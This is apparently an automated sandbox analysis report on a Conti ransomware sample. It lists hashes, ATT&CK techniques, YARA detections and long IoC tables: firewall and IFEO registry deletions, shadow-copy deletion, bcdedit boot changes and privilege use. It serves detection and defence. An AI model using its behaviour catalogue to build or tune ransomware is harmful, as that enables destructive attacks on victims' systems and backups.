45b71116ecf288649bd8704c6bbfda6c72ba2e9a8637c979cd43e1ace06c0e53

Analysis

max time kernel
148s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260629-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260629-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
01/07/2026, 09:48

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-07-01_54b136e6ca4058e3c0c0ddf3caaa519c_conti.exe
Size 168KB
Sample260701-ls8rcads5t
SHA256 45b71116ecf288649bd8704c6bbfda6c72ba2e9a8637c979cd43e1ace06c0e53
MD5 54b136e6ca4058e3c0c0ddf3caaa519c
SHA1 55d15941709c92ab8dcfe9f21f53caf78eebc20b
SHA512 72491a4acf9e35543d8140c19899e073b6a5ee49ac55ba2e204c385ed81a57a32684d72ceea80a0e8e3a735589305ff218f48c9953999cedc327ba75836c5aa3
SSDEEP 3072:XEtn14/qV5kcwGgxHRW9K2iDIeuNqe478RtuxNJRV:Y1aW9ODyYH78L6JRV
TLSH
T183F319C2BBC99CE7DA06523845AB8335223DFBC547829B03083972351F53AD1AED765B
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion evasion execution impact persistence privilege_escalation ransomware

Malware Config

Signatures

Modifies firewall policy service 3 TTPs 25 IoCs

defense_evasion

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\HyperVVMCreators	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\Mdm\DynamicKeywords	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\RestrictedServices\AppIso\FirewallRules	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile\Logging	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\DynamicKeywords\Addresses	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\DynamicKeywords	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\Mdm\DynamicKeywords\Addresses\AutoResolve	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\Mdm\DynamicKeywords\Addresses\NonAutoResolve	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\RestrictedServices\AppIso	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\Logging	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\DynamicKeywords\Addresses\AutoResolve	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\FirewallRules	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\HyperVFirewallPolicy	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\PublicProfile\Logging	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\PublicProfile	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\RestrictedInterfaces\IfIso	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\RestrictedInterfaces	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\RestrictedServices\Configurable	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\Mdm\HyperVFirewallPolicy	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\DynamicKeywords\Addresses\NonAutoResolve	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\Mdm\DynamicKeywords\Addresses	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\Mdm	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\TenantRestrictions	reg.exe

Modifies security service 2 TTPs 7 IoCs

defense_evasion

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\mpssvc\Security	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WinDefend\Security	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security	reg.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Detects command variations typically used by ransomware 1 IoCs

resource	yara_rule
behavioral2/memory/1412-362-0x00007FF6231E0000-0x00007FF62320A000-memory.dmp	INDICATOR_SUSPICIOUS_GENRansomware

Detects executables containing anti-forensic artifacts of deleting USN change journal. Observed in r 1 IoCs

resource	yara_rule
behavioral2/memory/1412-362-0x00007FF6231E0000-0x00007FF62320A000-memory.dmp	INDICATOR_SUSPICIOUS_USNDeleteJournal

Detects executables containing commands for clearing Windows Event Logs 1 IoCs

resource	yara_rule
behavioral2/memory/1412-362-0x00007FF6231E0000-0x00007FF62320A000-memory.dmp	INDICATOR_SUSPICIOUS_ClearWinLogs

Detects executables embedding command execution via IExecuteCommand COM object 1 IoCs

resource	yara_rule
behavioral2/memory/1412-362-0x00007FF6231E0000-0x00007FF62320A000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RegKeyComb_IExecuteCommandCOM

Modifies boot configuration data using bcdedit 1 TTPs 14 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
3008	bcdedit.exe
4988	bcdedit.exe
6348	bcdedit.exe
2612	bcdedit.exe
3972	bcdedit.exe
1708	bcdedit.exe
2484	bcdedit.exe
6760	bcdedit.exe
5716	bcdedit.exe
484	bcdedit.exe
1272	bcdedit.exe
4684	bcdedit.exe
5812	bcdedit.exe
2516	bcdedit.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3624	powershell.exe
2076	powershell.exe
3624	powershell.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 53 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SystemSettings.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\VirtualBoxVM.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msoadfsb.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\iexplore.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AcroRd32.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\excel.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\graph.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ie4uinit.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\onenote.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PresentationHost.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MsMpEng.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PrintIsolationHost.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\runtimebroker.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svchost.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\VirtualBox.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wordconv.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\clview.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ieinstal.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\onenotem.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\RdrCEF.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\scanost.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\selfcert.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\splwow64.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\windows10universal.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\LSASS.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mscorsvw.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msfeedssync.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ngentask.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powerpnt.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\scanpst.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MRT.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msoasb.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msosrec.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cnfnot32.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ieUnatt.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MicrosoftEdgeUpdate.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\setlang.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winword.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\excelcnv.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ielowutil.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msohtmed.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msoxmled.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msqry32.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ngen.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\RdrServicesUpdater.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msosync.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\outlook.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sdxhelper.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\spoolsv.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AcroRd32Info.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ExtExport.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\orgchart.exe	reg.exe

Uses Session Manager for persistence 2 TTPs 2 IoCs

Creates Session Manager registry key to run executable early in system boot.

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Session Manager\BootExecute = 670061007200620061006700650000000000	reg.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Session Manager\BootExecute = 67006100720062006100670065000000	2026-07-01_54b136e6ca4058e3c0c0ddf3caaa519c_conti.exe

Impair Defenses: Safe Mode Boot 1 TTPs 1 IoCs

defense_evasion

Safe Mode Boot

T1562.009

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\	reg.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2900715619-172032027-1873877232-1000\Software\Microsoft\Windows\CurrentVersion\Run	reg.exe

Enumerates connected drives 3 TTPs 1 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\S:	mountvol.exe

Indicator Removal: Clear Persistence 1 TTPs 53 IoCs

remove IFEO.

defense_evasion

Clear Persistence

T1070.009

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mscorsvw.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msfeedssync.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msosrec.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PrintIsolationHost.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\svchost.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\excel.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\excelcnv.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\graph.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MicrosoftEdgeUpdate.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\spoolsv.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SystemSettings.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wordconv.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msosync.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ngentask.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\VirtualBox.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ie4uinit.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msoasb.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msoxmled.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\onenotem.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\RdrCEF.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\windows10universal.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ieinstal.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MsMpEng.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ngen.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\scanost.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\scanpst.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cnfnot32.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MRT.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msqry32.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\outlook.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powerpnt.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\runtimebroker.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sdxhelper.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\selfcert.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\clview.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PresentationHost.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\RdrServicesUpdater.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\setlang.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\splwow64.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\VirtualBoxVM.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winword.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AcroRd32Info.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ExtExport.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ielowutil.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\iexplore.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msoadfsb.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msohtmed.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\onenote.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\orgchart.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AcroRd32.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ieUnatt.exe	reg.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\LSASS.exe	reg.exe

Maps connected drives based on registry 3 TTPs 3 IoCs

Disk information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum	reg.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum	reg.exe

Drops file in System32 directory 11 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\config\SYSTEM	2026-07-01_54b136e6ca4058e3c0c0ddf3caaa519c_conti.exe
File opened for modification	C:\Windows\System32\config\SAM	2026-07-01_54b136e6ca4058e3c0c0ddf3caaa519c_conti.exe
File opened for modification	C:\Windows\System32\config\SECURITY	2026-07-01_54b136e6ca4058e3c0c0ddf3caaa519c_conti.exe
File opened for modification	C:\Windows\System32\CatRoot2\dberr.txt	powershell.exe
File opened for modification	C:\Windows\system32\Recovery\ReAgent.xml	reagentc.exe
File opened for modification	C:\Windows\System32\config\SOFTWARE	2026-07-01_54b136e6ca4058e3c0c0ddf3caaa519c_conti.exe
File opened for modification	C:\Windows\System32\config\DEFAULT	2026-07-01_54b136e6ca4058e3c0c0ddf3caaa519c_conti.exe
File opened for modification	C:\Windows\System32\config\BBI	2026-07-01_54b136e6ca4058e3c0c0ddf3caaa519c_conti.exe
File opened for modification	C:\Windows\System32\config\DRIVERS	2026-07-01_54b136e6ca4058e3c0c0ddf3caaa519c_conti.exe
File opened for modification	C:\Windows\system32\Recovery	reagentc.exe
File opened for modification	C:\Windows\System32\Recovery\Winre.wim	2026-07-01_54b136e6ca4058e3c0c0ddf3caaa519c_conti.exe

Drops file in Windows directory 8 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	reagentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	reagentc.exe
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	reagentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	reagentc.exe
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	reagentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	reagentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	reagentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	reagentc.exe

Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
3808	ipconfig.exe
2336	ipconfig.exe

Interacts with shadow copies 3 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
3144	vssadmin.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
7040	wmic.exe
7040	wmic.exe
7040	wmic.exe
7040	wmic.exe
3624	powershell.exe
3624	powershell.exe
2076	powershell.exe
2076	powershell.exe
2076	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeBackupPrivilege	1412	2026-07-01_54b136e6ca4058e3c0c0ddf3caaa519c_conti.exe
Token: SeRestorePrivilege	1412	2026-07-01_54b136e6ca4058e3c0c0ddf3caaa519c_conti.exe
Token: SeShutdownPrivilege	1412	2026-07-01_54b136e6ca4058e3c0c0ddf3caaa519c_conti.exe
Token: SeDebugPrivilege	1412	2026-07-01_54b136e6ca4058e3c0c0ddf3caaa519c_conti.exe
Token: SeTakeOwnershipPrivilege	1412	2026-07-01_54b136e6ca4058e3c0c0ddf3caaa519c_conti.exe
Token: SeManageVolumePrivilege	1412	2026-07-01_54b136e6ca4058e3c0c0ddf3caaa519c_conti.exe
Token: SeSystemEnvironmentPrivilege	7004	svchost.exe
Token: SeBackupPrivilege	6252	vssvc.exe
Token: SeRestorePrivilege	6252	vssvc.exe
Token: SeAuditPrivilege	6252	vssvc.exe
Token: SeIncreaseQuotaPrivilege	7040	wmic.exe
Token: SeSecurityPrivilege	7040	wmic.exe
Token: SeTakeOwnershipPrivilege	7040	wmic.exe
